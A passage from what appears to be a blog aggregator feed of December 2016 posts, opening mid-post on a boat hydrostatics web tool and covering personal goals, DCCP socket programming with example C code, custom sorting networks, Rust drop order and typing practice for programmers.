So at first I built something very basic that just displayed the model in threejs and did some static calculations, in the UI thread. At first it worked ok, but as soon as I added functionality to solve for trim (to align longitudinal center of gravity with the longitudinal center of buoyancy) it started to get very slow. The 3D view could not even be moved around anymore because the UI thread was doing all the calculations in the foreground. Basically to do this kind of calculations, you have to move the model up and down to adjust for the correct displacement, and then pitch it forwards or aft until the center of buoyancy aligns with the center of gravity. This loop is computationally intensive and made everything grind to a halt.

So webworkers to the rescue. I had never really used them either, but they promised to make it easy to send most of the work to a background thread that would not slow down my UI. I refactored my code to put all the heavy lifting into separate files that could then be called as a web worker. I also had to add messaging to pass data to and from the UI javascript. That was fairly easy to do, as they are simple calls to postMessage, and a callback function in the UI and the worker to receive sent messages. Very easy and obvious, so great !

The calculations are accurate, I’ve had them checked in many cases against an old Hydromax version, which is an established solution in the field, and the results match within about a percentage point. The only difficulty I’m still struggling with is to properly draw the underwater stations and the waterline, but this is only a display bug and does not affect the results. What happens is that there are many edge cases that have to be accounted for, depending on the type and quality of the input file. I’m still working on that.

If you like designing boats and currently do these kinds of calculations by hand or in a spreadsheet, or if your current software does not solve for trim, you will definitely want to give this tool a try

If you do, and you like it, or you hate it, or it doesn’t work, or anything, your feedback would be invaluable. Contact me by email or through this blog’s contact form.

December 2016 Goals

Josh Thompson — Tue, 20 Dec 2016 02:00:00 GMT

December 19th seems a bit late to write about December’s goals, huh?

Nonetheless, I’ve had some, and I will still have them through the end of the month.

I did post a review of November a few days ago. This should really be rolled into that. A “monthly review/going forward” evaluation makes way more sense than splitting it into two pieces.

See? There’s value to these reviews. I’m streamlining my own workflow. :)

My goals for December are mostly an extension of my goals last month. November review here

Deepen knowledge of front-end development*
Rehab my wrist effectively
Read seven more books (goal for the year is 80. It’ll be a stretch…)

1. Deepen Knowledge of front-end development

wrong terminology. I mean front-end because “back end” in my mind is WAAAY in the back-end, like you .NET and C++ guys doing things where you never touch an interface or create a button. I’ll technically be a back-end developer by mid-2017, but I’ll be comfortable in HTML/CSS/JS and all those traditional front-end parts of the internet.

Also, I’ve been working on general comfort around simple networking and my command line. I’m learning along through Vimtutor (open your terminal if you’re on a Mac, type in “vimtutor” to see what it is.) Also, I’m writing this post using Vim. Admittedly, free-form typing in Vim is just the same as any other text editor, but moving around without the mouse and between modes takes some getting used to.

I’ve been inspired on Vim by OverTheWire.org. Vim goes hand-in-hand with regular (or heavy) command line usage, and I want to get more fluid in the command line. I’m motivated by small, incremental challenges, so their “Bandit” wargame is perfect. I’m on level 15 right now, to continue right after posting this.

I’ve gotten stuck twice, and you can google around to find good hints easily enough. Don’t just blindly type in commands, though. Understand them.

Oh, I finished up all the Turing school pre-work, and am taking a short spin through non-Ruby/Rails topics for fun. I’ll dig back into building things shortly.

2. Rehab my wrist safely/effectively

I injured my wrist five weeks ago. It was minor, but for a few days I was pretty out of commission on some key every-day-things. (Grinding coffee was a bit of a challenge.)

I’ve been able to climb again. For two weeks, I climbed exclusively easy problems, and over time am slowly stepping up the difficulty. I can climb hard-ish routes again without pain, but I don’t feel safe trying hard or moving dynamically. But still, it feels good. I’m out of town through January 3rd, and have just my portable hangboard with me. So, I’ll use that, and hopefully be 100% by the time I get back to Colorado.

3. Finish seven more books this month

I’m almost done with two books, and that will put me at 75 books for the year. I’ve got two or three more short-ish ones on deck (~150 pages) and if I can knock those out quickly, I’ll be close to reading 80 books for the year. 80 is a nice, round number, so I’d like to do it.

Later this month I’ll highlight the most dangerous books I’ve read in the last year. Could be interesting.

That’s it. It’s been odd writing this post in vim. So far, I don’t really like the experience. I guess I feel more at home in Atom. Also, Atom has markdown specific syntax highlighting, spell check, and even checks for “weak” words (like “really”). I’ll pop this text in there and do any last edits in Atom. Then it’s off to the internet with these words.

:wq

Different mobile and desktop layouts with React

Gosha Spark — Tue, 20 Dec 2016 02:00:00 GMT

Why Kubernetes is Abbreviated k8s

Justin Garrison's Homepage — Mon, 19 Dec 2016 02:00:00 GMT

Some times people will join the Kubernetes community and get confused on what the “k8s” is all about.

Why Him?

🦉 olshansky 🦁 — Sun, 18 Dec 2016 12:11:43 GMT

Olshansky's review of Why Him?

Everything You Need to Know About Regular Expressions In JavaScript - Part One: Basic Concepts

Lucas F. Costa - Blog — Sat, 17 Dec 2016 14:00:00 GMT

When I was just starting out with JavaScript and programming in general I always thought using Regular Expressions was just too complicated and then I resorted to many crazy combinations of String ...

Abstraction and instances in graph programming

Matt Keeter — Sat, 17 Dec 2016 02:00:00 GMT

Habits, momentum and ceremonies

D13V — Sat, 17 Dec 2016 02:00:00 GMT

It is conventional wisdom that habits are the fundamentals of successful life. Having consistent habits of making your bed, exercising, eating healthy, meditating, and not spending more than you make are what some popular self help bloggers and authors are preaching.

Habits work. Once I have a positive habit formed, it is a great force in my improving my days. Recently I’ve been developing the habit of exercising. I started by doing a lot of exercise almost every day, and felt a large increase in strength and conditioning. Simple, everyday tasks became much easier. My stamina increased. Now I’ve decreased the amount of exercise as my body needs enough time to recover, but I still feel benefits and improvement.

Exercising is a habit now, and if I don’t do exercise in a given day, I feel that I’m missing out. I crave the exercise. You might say I’m addicted to getting my dose of exercise every day or two. And you’ll have a point. For exercise has gathered up such a momentum that it is hard for me to stop.

I can rely on this momentum. I’m happy for it, because the direction of the momentum is positive. That’s why habits work. Because of the momentum. The momentum gives me speed. In any individual day I can add a small force and small acceleration to my personal momentum.

When my efforts every day are aligned with my efforts the day before, I will add a bunch of momentum in that direction over time.

But I don’t find it easy to keep pushing every day in the same direction. Some days I’m just lazy and I want to watch funny gif videos, and read random articles. Every time I profligate my waking hours with junk, that’s not only removing from my positive momentum, that’s also adding to my negative momentum.

Here come decisions.

In order to build the maximum amount of positive momentum, I need to fully, and wholehearthedly know and decide that only things I’ll do are the ones which increase my positive momentum. THAT I WILL NOT PROCRASTINATE. Zero. Null.

If I were a piece of computer code, I can just set the variable procrastination=0and be done. In terms of real life mindset, I think it is possible to do that, but I think it isn’t that simple. I’ve had situations where I’ve been extremely motivated for long periods. I’ve also heard many stories of people who based on a certain traumatizing, or ephiphanizing experience, make a decision to reform their life and turn it around.

I’ve not had such strong moments, but I’ve had other moments which made a great impact on me. Some of these moments changed my mindset, not necessarily in the negative-to-positive way, but I ended up being changed nonetheless. When a moment like this happens, I know that the world has changed irreversibly. My mindset does not immediately adapt to it in all situations, but my perception of the new reality gradually sinks in.

Graduating from college was one such moment. After graduating, I had a new identity. I was no longer the student that I was before. I was a graduate, with a degree. I could no longer justify certain stupid actions, that a student would do. I was no longer a student. Not me. I am now a different person, me. Gradually, every action that didn’t fit with the new me got weeded out.

I had this discrete event in my life - the graduation. After that moment, my mindset changed, and gradually so did my momentum in life. A single ceremony had a profound effect in redirecting me.

I want to engineer such a ceremony to kill all my procrastination. I don’t know how to do it yet, but I believe it is possible. I’ll now go and work on that.

2016-12-16

ho.dges.online — Fri, 16 Dec 2016 02:00:00 GMT

Nest Cam Outdoor vs. Ring Stick Up Cam

Justin Garrison's Homepage — Fri, 16 Dec 2016 02:00:00 GMT

The outdoor security camera market didn’t exist much before this year

How to Use Thought Experiments to De-Risk Your Startup

Coding VC — Thu, 15 Dec 2016 07:21:00 GMT

“In preparing for battle, I have always found that plans are useless but planning is indispensable.”

Lessons Learned From My Three Month Experience Working Remotely In Thailand

Train of Thought — Thu, 15 Dec 2016 02:00:00 GMT

I have much experience working remotely, but my recent long-term long-distance venture revealed so much more. In this article, I cover good things, bad things, and suggestions to fix a broken remote work culture.

Coding a website from scratch - a timelapse

Blog by Jade Michael Thornton — Wed, 14 Dec 2016 17:00:00 GMT

Jade creates a simple website from scratch using the Bootstrap framework

Is moving to the Bay Area worth it?

blog.harterrt.com — Wed, 14 Dec 2016 10:00:00 GMT

I came across this article on the front page of Hacker News yesterday. The author argues that Bay Area housing prices may be high, but the salary increase probably makes it worth while. The author pulls together some interesting data to make their point, but I have major issues with …

November 2016 Review

Josh Thompson — Wed, 14 Dec 2016 02:00:00 GMT

Note to the reader: The words that follow are all about me. This is naval-gaze-ish. I feel I owe you this warning.

My November goals were an extension of October’s goals. I feel comfortable with long-term unchanging goals.

They were:

Deepen my knowledge of front-end web development

Climb 5.13
Get “Climber’s Guide” rolling.

An attentive reader might notice that these goals violate all best practices for setting good goals. They’re supposed to be “Specific, Measurable, Actionable/Attainable, Realistic, and Time-boxed”

My goals are none of these, but I’ve been able to break each goal down into smaller pieces. That’s the sole way one could make progress.

My other mistake is that I have too many goals. Three goals is one more goal than I’m comfortable with. I’m going to soon clear item #3 from my plate, and focus on the complimentary goals of software development and climbing hard.

How am I doing, according to my own internal yardstick?

Front-end web development

I got the recommended pre-work from Turing School, where I’ll be starting their seven-month development program in January. It replaced all other development goals, because reasons.

I’ve completed their “minimum recommended work”, their “if you have time work”, and am almost done with their “if you’re feeling adventurous” recommended work. At that point I’ll still have six weeks before classes start, so I’ll consult with current students to see what they’d recommend I do next.

Climb 5.13

This has been a bit more of an emotional trip than usual.

The sequence: Josh is at gym, close to sending climbs two-three grades harder than what he’s used to.

Josh meets folks who are super cool, climb super hard, and want to do the same 5.13 at Clear Creek.

Josh & co meet up the next day.

Josh warms up on the easiest line at the crag. Super casual climbing. Last three moves are a smidge hard. Josh is lazy, goes for a bad low hold instead of good higher hold.

Josh feels something go “pop” in his wrist.

Josh gets injured. :(

I strained something in my wrist. I was numb and/or tingly for five days, though my strength is returning. I didn’t climb for almost two weeks, and am now easing back into climbing.

I’ve done v1-v3 bouldering circuits, and am easing back through v4 and v5. I got back on routes for the first time in a while this week, and have pushed back up into easy 5.12. I feel 70% recovered.

Now, though, I don’t have a chance to send 5.13 this year, but if I keep recovering, I’ll aim for January 2017.

Climber’s Guide

Little happened here. I got excited with Turing prework.

Misc

Reading

Still doing good. I’m at ~70 for the year, should cross the 75 book mark by end of December.

I just finished The 4 Disciplines of Execution, and want to apply some of those lessons to my own projects.

Phone Usage

Still low. (Which is good). I’m rolling Anki back into my life with gusto, which is pushing my usage back up, but memorization of programming bits of knowledge is fine with me.

I’ve written about using Anki for Spanish here and here, but now I’m using it for programming.

I’ll expand on that soon, but here’s the best summary: Derek Sivers on SRS for Programmers

DCCP: The socket type you probably never heard of

Anmol Sarma — Tue, 13 Dec 2016 19:40:50 GMT

TL;DR: DCCP is a relatively newer transport layer protocol which draws from both TCP and UDP. Jump straight to the example C code.

Background

Historically, the majority of the traffic on the Internet has been over TCP which provides a reliable connection-oriented stream between two hosts. UDP has been mainly used by applications whose brief transfers would be unacceptably slowed by TCP’s connection establishment overhead or those for which timeliness is more important than reliability. However, the increasing use of UDP for applications such as internet telephony and streaming media which transfer a large amount of data can lead to significant network congestion. Since unlike TCP, UDP provides no inherent congestion control mechanism, an application can send UDP datagrams at a much higher rate than the available path capacity and cause congestion along the path. Increased congestion may lead to delays, packet loss and the degradation of the network’s quality of service.

Applications and protocols that choose to use UDP as their transport must, therefore, employ mechanisms to prevent congestion and to establish some degree of fairness with concurrent traffic so that the network remains usable. A prominent example of such a congestion control scheme is LEDBAT employed by BitTorrent. However, implementing a congestion control scheme is difficult, time-consuming and error-prone. Multiple non-standard implementations also make it difficult to reason about how applications would respond to network congestion. DCCP - Datagram Congestion Control Protocol is intended to mitigate this problem as a transport for unreliable datagrams with built-in congestion control.

From an application programmer’s perspective, DCCP differs from UDP by providing four additional features:

Explicit connection establishment between hosts
Selectable congestion control schemes
Path MTU discovery to avoid fragmentation
Service Codes for identifying applications

DCCP makes use of Explicit Congestion Notification but it is transparent the application. DCCP is designed to leave additional functionality such as reliability or Forward Error Correction (FEC) to be layered on top, as and when required rather than at the protocol level itself.

Explicit connection establishment

The connection establishment semantics of DCCP mirror those of TCP with a client that actively connects to a server that is passively listening on a port. DCCP connections are bidirectional. Logically, however, a DCCP connection consists of two separate unidirectional connections, called half-connections. Each half-connection is a one-way, unreliable datagram pipe. The rationale for this explained in the next section.

Selectable congestion control schemes

TCP implements congestion control entirely transparently to the application. While it is possible to configure the host to use a specific variant, there is no way for the application to discover which congestion control scheme is in force, let alone negotiate one. DCCP, however, can cater to the different needs of applications by allowing applications to negotiate the congestion control schemes. In fact, each of the half-connections can use a different scheme, allowing for greater control.

Congesting the network by sending data at a rate that is faster than the slowest link between the endpoints will overwhelm it. This may lead to packet loss leading to retransmissions which may, in turn, lead to further congestion. The solution to this problem is to start transmitting data at a slow rate on a new connection and to then ramp up the speed until packet loss is detected. The transmission rate may then be scaled back until no further packet loss occurs. The optimum speed at which to transfer data will change with network conditions over the life of the connection. Congestion control schemes differ in how packet loss is estimated and the rate at which is the transmission speed is ramped up or scaled back. DCCP congestion control schemes are denoted by Congestion Control Identifiers - CCIDs. Currently, three CCIDs have been formally specified:

CCID 2 - TCP-like Congestion Control: A quick reacting scheme modelled after TCP which will rapidly ramp up speed to take advantage of available bandwidth and also rapidly scale back when congestion is detected. Suitable for applications that can handle large swings in transmission rates.
CCID 3 - TCP-Friendly Rate Control (TFRC): A slower reacting scheme intended to be friendly to concurrent TCP flows in the network. Provides a relatively smoother sending rate at the expense of possibly not utilising all available bandwidth. Suitable for media streaming applications that prefer to minimise abrupt changes in the sending rate.
CCID 4 - TCP-Friendly Rate Control for Small Packets (TFRC-SP): An experimental scheme for applications that use a small datagram size and those that change their sending rate by varying the datagram size.

In addition, the Linux kernel’s DCCP Test Tree contains an experimental implementation of a scheme modelled after TCP CUBIC. There is also a mode that disables congestion control altogether for UDP-like behaviour.

PMTU discovery

Data between two internet hosts is transferred transmitted as a series of IP packets that pass through intermediate links. Each of these links has a maximum packet size or maximum transmission unit (MTU) that it can transmit without having to break it up into smaller fragments. The largest packet size that does not require fragmentation anywhere along a path is referred to as the path maximum transmission unit or PMTU. Applications can usually get better error tolerance by producing packets smaller than the PMTU. DCCP defines a maximum packet size (MPS) based on the PMTU and the congestion control scheme used for each connection. DCCP implementations will not send any packet bigger than the MPS and instead return an appropriate error to the application. The application can query the DCCP stack for the current MPS and restrict itself from sending datagrams larger than this value and thereby avoid fragmentation.

Service Codes

DCCP defines a 32 bit Service Code to disambiguate between multiple applications associated with a single a server port. The client specifies the Service Code it wants to connect to and this is used to identify the intended service or application to process a DCCP connection request. Essentially, Service Codes provide an additional level of indirection for connection multiplexing. A server listening on a port may be associated with multiple Service Codes but a client may have only one Service Code, indicating the application it wishes to connect to.

Usage

The mainline Linux kernel has included DCCP support since 2.6.14 and mainstream distributions like Ubuntu enable it by default. However, to get the newer experimental features, you will have to build the kernel from the DCCP Test Tree. Or you can also grab the latest stable kernel release merged with the experimental DCCP changes from here. Be sure to enable all the CCIDs in the kernel configuration in Networking Support –> Networking Options –> The DCCP Protocol –> DCCP CCIDs Configuration. Like the Debian Installation Guide Says, “Don’t be afraid to try compiling the kernel. It’s fun and profitable.” For now, Linux is the only operating system supporting native DCCP, unless you count the patch for an ancient version of FreeBSD.

Example in C

The server and client look almost exactly the same as their TCP counterparts with the exception fo the socket type and setting of the service code. The client uses getsockopt() to read the current maximum packet size. Reading the available CCIDs on the host is shown in probe.c. As libc doesn’t still have a netinet/dccp.h header, you will have to get the required constants from the kernel sources or directly use the dccp.h header below. Download Code

server.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>

#include "dccp.h"

#define PORT 1337
#define SERVICE_CODE 42

int error_exit(const char *str)
{
	perror(str);
	exit(errno);
}

int main(int argc, char **argv)
{
	int listen_sock = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
	if (listen_sock < 0)
		error_exit("socket");

	struct sockaddr_in servaddr = {
		.sin_family = AF_INET,
		.sin_addr.s_addr = htonl(INADDR_ANY),
		.sin_port = htons(PORT),
	};

	if (setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, &(int) {
		       1}, sizeof(int)))
		error_exit("setsockopt(SO_REUSEADDR)");

	if (bind(listen_sock, (struct sockaddr *)&servaddr, sizeof(servaddr)))
		error_exit("bind");

	// DCCP mandates the use of a 'Service Code' in addition the port
	if (setsockopt(listen_sock, SOL_DCCP, DCCP_SOCKOPT_SERVICE, &(int) {
		       htonl(SERVICE_CODE)}, sizeof(int)))
		error_exit("setsockopt(DCCP_SOCKOPT_SERVICE)");

	if (listen(listen_sock, 1))
		error_exit("listen");

	for (;;) {

		printf("Waiting for connection...\n");

		struct sockaddr_in client_addr;
		socklen_t addr_len = sizeof(client_addr);

		int conn_sock = accept(listen_sock, (struct sockaddr *)&client_addr, &addr_len);
		if (conn_sock < 0) {
			perror("accept");
			continue;
		}

		printf("Connection received from %s:%d\n",
		       inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));

		for (;;) {
			char buffer[1024];
			// Each recv() will read only one individual message.
			// Datagrams, not a stream!
			int ret = recv(conn_sock, buffer, sizeof(buffer), 0);
			if (ret > 0)
				printf("Received: %s\n", buffer);
			else
				break;

		}

		close(conn_sock);
	}
}

client.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>

#include "dccp.h"

int error_exit(const char *str)
{
	perror(str);
	exit(errno);
}

int main(int argc, char *argv[])
{
	if (argc < 5) {
		printf("Usage: ./client <server address> <port> <service code> <message 1> [message 2] ... \n");
		exit(-1);
	}
	struct sockaddr_in server_addr = {
		.sin_family = AF_INET,
		.sin_port = htons(atoi(argv[2])),
	};

	if (!inet_pton(AF_INET, argv[1], &server_addr.sin_addr.s_addr)) {
		printf("Invalid address %s\n", argv[1]);
		exit(-1);
	}

	int socket_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
	if (socket_fd < 0)
		error_exit("socket");

	if (setsockopt(socket_fd, SOL_DCCP, DCCP_SOCKOPT_SERVICE, &(int) {htonl(atoi(argv[3]))}, sizeof(int)))
		error_exit("setsockopt(DCCP_SOCKOPT_SERVICE)");

	if (connect(socket_fd, (struct sockaddr *) &server_addr, sizeof(server_addr)))
		error_exit("connect");

	// Get the maximum packet size
	uint32_t mps;
	socklen_t res_len = sizeof(mps);
	if (getsockopt(socket_fd, SOL_DCCP, DCCP_SOCKOPT_GET_CUR_MPS, &mps, &res_len))
		error_exit("getsockopt(DCCP_SOCKOPT_GET_CUR_MPS)");
	printf("Maximum Packet Size: %d\n", mps);

	for (int i = 4; i < argc; i++) {
		if (send(socket_fd, argv[i], strlen(argv[i]) + 1, 0) < 0)
			error_exit("send");
	}

	// Wait for a while to allow all the messages to be transmitted
	usleep(5 * 1000);

	close(socket_fd);
	return 0;
}

probe.c

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>

#include "dccp.h"

int main()
{
	int sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);

	// Check the congestion control schemes available
	socklen_t res_len = 6;
	uint8_t ccids[6];
	if (getsockopt(sock_fd, SOL_DCCP, DCCP_SOCKOPT_AVAILABLE_CCIDS, ccids, &res_len)) {
		perror("getsockopt(DCCP_SOCKOPT_AVAILABLE_CCIDS)");
		return -1;
	}

	printf("%d CCIDs available:", res_len);
	for (int i = 0; i < res_len; i++)
		printf(" %d", ccids[i]);

	return res_len;
}

dccp.h

/* This file only contains constants necessary for user space to call
 * into the kernel and thus, contains no copyrightable information. */

#ifndef DCCP_DCCP_H
#define DCCP_DCCP_H

// From the kernel's include/linux/socket.h
#define SOL_DCCP                        269

// From kernel's include/uapi/linux/dccp.h
#define DCCP_SOCKOPT_SERVICE            2
#define DCCP_SOCKOPT_CHANGE_L           3
#define DCCP_SOCKOPT_CHANGE_R           4
#define DCCP_SOCKOPT_GET_CUR_MPS        5
#define DCCP_SOCKOPT_SERVER_TIMEWAIT    6
#define DCCP_SOCKOPT_SEND_CSCOV         10
#define DCCP_SOCKOPT_RECV_CSCOV         11
#define DCCP_SOCKOPT_AVAILABLE_CCIDS    12
#define DCCP_SOCKOPT_CCID               13
#define DCCP_SOCKOPT_TX_CCID            14
#define DCCP_SOCKOPT_RX_CCID            15
#define DCCP_SOCKOPT_QPOLICY_ID         16
#define DCCP_SOCKOPT_QPOLICY_TXQLEN     17
#define DCCP_SOCKOPT_CCID_RX_INFO       128
#define DCCP_SOCKOPT_CCID_TX_INFO       192

#endif //DCCP_DCCP_H

Caveats and Conclusion

DCCP is not mainstream. It is not widely deployed or even supported. Documentation is sparse. Although Linux DCCP NAT is functional, many intermediate boxes will probably just drop DCCP traffic. DCCP is the Fixed-gear bicycle of Layer 4, it is the ultimate hipster transport.

Originality & Creativity

Venam's Blog — Patrick Louis (Lebanon) — Tue, 13 Dec 2016 19:00:00 GMT

We take actions based on our unconscious mind, we follow our unspoken norms and taboos. For a little while we may think we are original or creative, but we aren't — at least not following the definition we attributed to the terms. This is not uncommon, everyone thinks that they are innovative. A positive illusion or just the opposite, let's not discuss determinism. The human brain works by re-interpreting and linking concepts. There's no blank slate, otherwise we would have no base to stack ideas unto. Those concepts come from the surrounding bubble, a relatively narrow one. Like a snowball rolling through fresh snow. The bigger the ball gets the more we can see of life, the more complex the components of the ball get, the more likely they are to stick, encroached on it, buried under the snow. But even that perception of reality isn't reality, it's a vehicle. A transportation that might take you somewhere no one has ever set foot. If only creativity would spur.

What Kind of Ethernet (Cat5, Cat5e, Cat6, Cat6a) Cable Should I Use?

Justin Garrison's Homepage — Tue, 13 Dec 2016 18:55:01 GMT

Not all Ethernet cable is created equally. What’s the

Nobody ever implements sort

Dave's Data — Tue, 13 Dec 2016 03:41:57 GMT

In discussions on Hacker News, I repeatedly see comments about "nobody ever implements sorting algorithms" -- or, generalized, that it's a waste of time studying up on basic data structures and algorithms, because they're all already implemented.

While it's rare, it's not been my experience to never re-implement the basics. I decided to data-mine my and my research group's past and current projects to identify the number of places we've implemented elementary data structures for good reasons.

Sorting

In the Cuckoo Filter, we implement a custom sort to sort the four items that can go in a bucket. Because this is a high-performance context, and the size of the set to be sorted is fixed and small, it's much faster to do this inline. This sort only cares about the least-significant byte of the key.

inline void SortPair(uint32_t& a, uint32_t& b) {

if ((a & 0x0f) > (b & 0x0f)) {

std::swap(a, b);

Four-element sorting network

}

inline void SortTags(uint32_t *tags) {

SortPair(tags[0], tags[2]);

SortPair(tags[1], tags[3]);

SortPair(tags[0], tags[1]);

SortPair(tags[2], tags[3]);

SortPair(tags[1], tags[2]);

}

It looks obvious, but there are a few things to note about doing this: First, it implements a basic sorting network, as shown at right. Key to this choice is that it has a "depth" of three -- the first two compare/swap operations can be performed in parallel; then the next two; then the final one. This is an optimal sorting network for size 4.

Is this actually faster? Definitely. Comparing this vs. the naive use of std::sort:

inline int32_t STLSortTags(uint32_t (&tags)[4]) {
std::sort(std::begin(tags), std::end(tags),
[](uint32_t a, uint32_t b) {
return (a & 0xf) < (b & 0xf);
});
}

Indicates -- with some overhead, because my benchmark program also initializes the array with random data each time -- that it's at least 5.6x faster:

fully inlined : 0.76 seconds

STL sort : 4.26 seconds

The place where this is used is performance-critical -- the "semi-sorted" (a type of compression) cuckoo filter has to sort the contents of a 4-element bucket any time an element is inserted. The sorting network works well on our target x86 platform because it exploits the inherent parallelism of modern processors (they can issue multiple instructions per cycle, if those instructions are independent). The entirely inlined implementation avoids a lot of unnecessary function call and setup overhead from a more general-purpose sorting algorithm.

Breadth-First Search

In libcuckoo, our high-performance Cuckoo hash library for C++, we implement a custom BFS queue, for both size and memory efficiency reasons. The size of our search is bounded, and this queue is on the speed-critical path for inserting items into the hash table as it becomes full, so we wanted it to be as fast as possible. Xiaozhou Li and then Manu Goyal implemented and reimplemented a custom queue and BFS for this, which is part of why libcuckoo is so fast. (The use of BFS for insertion was one of the core contributions in our Eurosys14 paper, "Algorithmic Improvements for Fast Concurrent Cuckoo Hashing".)

I implemented a similar version of this for the Cuckoo hash table in TensorFlow.

Hash Tables

Ok, I put that up there for humor, if you know what my research group has been working on for the last several years. Don't go implement your own. Use libcuckoo. :)

Circular Buffers and Lists

In MICA, a high-performance network-based key-value store, we provide a custom implementation of a list using a circular buffer. Using circular buffers is one of the more frequent reasons we end up reimplementing data structures, when we know something in advance about their expected and maximum size and want to ruthlessly eliminate allocator overhead. There's one in the queue in libcuckoo as well. These come up a lot in systems - in fact, the Linux kernel documentation provides a specific explanation about them. Anuj Kalia just finished modifying the Mellanox infiniband device driver to reuse its descriptors in a circular buffer fashion (page 8).

So you're saying I should go implement my own data structures?

Of course not. Don't. 99% of the time, don't. I left out from this article the thousands of times we use std::sort() and every other predefined bit of wonderful code we didn't have to write ourselves. The STL and other libraries are great. In many cases, they're faster than what you'd write the first two or three times on your own (though Daniel Lemire might disagree). From a software engineering perspective, you shouldn't reinvent the wheel.

But every now and then, after you've made sure you're using the right types of algorithms and data structures, and have written repeatable benchmarks, and have made sure that improving the speed of this component actually matters, and have broken out perf and pprof or Intel VTune and identified that there's a clear bottleneck you need to overcome... then you may find that there's a nice spot for customizing the implementation of a standard data structure or algorithm.

Discuss on Hacker News.

Links - December 13, 2016

Avy Faingezicht — Tue, 13 Dec 2016 02:00:00 GMT

Thoughts on changing Rust's drop order

Consulting on Adolfo Ochagavía — Mon, 12 Dec 2016 16:14:51 GMT

There seems to be a wide consensus that the current (unspecified) drop order in Rust is weird and arbitrary. If you are not yet convinced, you should definitely take a look at a previous post exploring the current rules. While changing the drop order seems attractive, there are many aspects that need to be considered before embarking in such a quest. In this post I would like to expand on the consequences of changing the drop order.

Exploring Rust's unspecified drop order

Consulting on Adolfo Ochagavía — Mon, 12 Dec 2016 15:14:51 GMT

After my previous post, I thought it would be interesting to run some experiments to determine the unspecified drop order within different constructs of Rust. After you read this, I guarantee you will understand why there is so much discussion about changing the current drop order before stabilizing it :) TLDR: the current drop order is really weird! In this post we are going to look at: Local variables Tuples Structs and enums Slices Closure captures We will be reusing the PrintDrop struct, so here is the definition in case you forgot it:

Ash Huang: Artist, Author & Designer

Sam Solomon — Mon, 12 Dec 2016 02:00:00 GMT

Ash Huang is a designer and award-winning novelist from Silicon Valley.

Snap updates: automatic rollbacks

kyrofa's blog — Mon, 12 Dec 2016 02:00:00 GMT

When researching snaps, one of the main advantages everyone talks about is the fact that they’re transactionally updated. That is, an upgrade either succeeds or fails, it doesn’t leave the snap in a broken state. If you have snap “A” installed and an update for it is released, it’ll automatically update. If that update is somehow broken, the snap will roll back to the previously-working revision. However, no one has really talked about how that works.

Typing for Programmers

Josh Thompson — Sun, 11 Dec 2016 02:00:00 GMT

If you had to distill my ability to bring value to those around me, it would be “Josh types good”.

I can press these magical little keys on this little metal box here, and make these words come out.

If you’re reading these words, you don’t care how these words actually got on this page. You don’t care if I used speech-to-text, transcription, hunt-and-pecked, or if my keyboard layout is QWERTY, Dvorak , or Colemak.

All that matters is that I can express reasonable ideas reasonably well. (Or, as I prefer, unreasonable ideas, reasonably well.)

You, too, probably spend a bit of your time behind a keyboard.

I’ve already spent time trying to improve my typing speed. After ill-fated attempts at converting myself to using the Colemak keyboard layout, but I gave up, except I kept my CAPS LOCK key mapped to DELETE.

That was a reasonable position to find myself, except now I’m getting into this whole “programming” thing. That means I have to familiarize myself with that part of my keyboard I’ve so far avoided, like:

[] {} |\\| #{'word_that_means_something'} && |other| arcane.keys

Don’t forget your symbols!

! @ # $ % & * ( ) - _ = + < > \ ~ \

I ultimately need to be able to use every single one of those keys without thinking about it, without looking at the keyboard, and without looking at what I’m typing to verify that it’s correct.

(For example, if you’re reading documentation or code on one part of your screen, typing something into some other program, you cannot be looking at what you’re typing and what you’re supposed to be typing simultaneously.)

How have I learned to type all these crazy symbols?

Two methods:

Typing.io
Changed my passwords

Typing.io

typing.io bills itself as “Typing Practice for Programmers”

You can pick a language you want to learn (like Ruby, Python, C++, etc) and then presents you with real live code, that you type along with.

Typing.io doesn’t solve everything, though, because there are still common code combinations that are hard to learn without lots of repetition.

An example from the Ruby track: Have you ever used the | key? NO!

So, that brings us to method number 2:

Changing my passwords

Change commonly used passwords to require hard-to-type code snippets.

I first got creative with changing my passwords after reading How a Password Changed My Life. I’d remind myself to get up early, (when that was hard, I reminded myself to go to bed early).

I cannot say that I’ve transformed my life through creative passwords, but I stumbled across using them to improve my typing.

I’ve got two passwords that I often type:

My computer password, because I’ve got my computer set to sleep if there’s no activity for five minutes (it requires a password upon waking up)
1Password Password Manager. Any time I want to log into a system that requires a password (so, about fifteen different systems during the normal workday), I have the password saved to 1Password, and if it has been inactive for five minutes, it locks itself.

So, if I change both passwords to something incorporating difficult-to-use key combinations, I am using hard-to-remember keys, over and over and over

For both systems, I create unique passwords that require me to get good with different pieces of code.

In the past, I’ve used it to train the #, %, && symbols, as well as [] and {}. I’m now comfortable with #{} and [&&]. Soon, I’ll rotate them again to incorporate more “sticky” keys that I struggle with.

As I get deeper into my studies, anytime I encounter a difficult key combination (like hitting = right after my pinky is otherwise engaged with a ' or | key) I jot it down, to use next time I update my passwords.

If you’re getting into Ruby, here’s some potential passwords to play with. Please don’t use these actual passwords, but sub in meaningful-but-random words where appropriate.

@word.map do { |c| c[0] }
<%= variable_name_here %>
index[0][1]
/\A*regex(.|,)\z/i
hashes = { curley_braces_everywhere }

Best of luck to you!

2016-12-11/01

ho.dges.online — Sun, 11 Dec 2016 02:00:00 GMT

2016-12-11/02

ho.dges.online — Sun, 11 Dec 2016 02:00:00 GMT

2016-12-11/03

ho.dges.online — Sun, 11 Dec 2016 02:00:00 GMT

Learning elm

Pete's Points — Sun, 11 Dec 2016 00:19:10 GMT

A Report from the weeds

So I've been trying to learn The Elm Programming Language, which is a language/architecture for building browser applications. The core ideas have been adopted into react and redux and I consider Elm to be taking the ideas deeper than you can do while still in JavaScript. So elm actually gives you a totally new programming language supporting static types, pure functional programming, and immutability in a high-integrity way.

